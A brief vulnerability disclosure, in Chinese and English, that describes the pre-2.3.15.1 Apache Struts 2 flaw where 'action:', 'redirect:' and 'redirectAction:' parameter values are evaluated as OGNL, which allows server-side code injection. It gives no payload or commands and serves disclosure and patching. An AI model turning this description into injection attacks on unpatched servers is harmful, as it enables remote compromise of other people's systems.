简要描述:
攻击者可以通过操纵参数远程执行恶意代码,Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤。
详细说明:
The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.
In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
